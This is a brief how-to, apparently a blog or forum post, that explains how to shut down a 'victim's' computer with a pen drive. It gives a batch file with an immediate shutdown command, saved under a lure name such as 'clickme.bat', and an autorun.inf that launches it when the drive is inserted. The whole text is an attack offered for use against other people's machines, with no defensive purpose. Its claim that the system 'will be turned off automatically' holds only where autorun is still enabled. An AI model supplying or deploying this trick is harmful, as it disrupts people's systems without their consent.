How to shutdown your victim's system using pen drive

Step 1:
copy this code into notepad:

@echo off
shutdown -s -t 00

Save it with .bat extension (for eg: clickme.bat).

Step 2:  
      Now open the notepad and copy this code:

[autorun]
Open=filename.bat
Action=Mouse Disable

   Save it as "autorun.inf"

//don't forget to change the "filname.bat" with your filname.bat.
Step 3: 
         Then copy the two files in your pen drive or victim's pen drive.

That's all whenever the victim insert his pen drive,the system will be turned off automatically.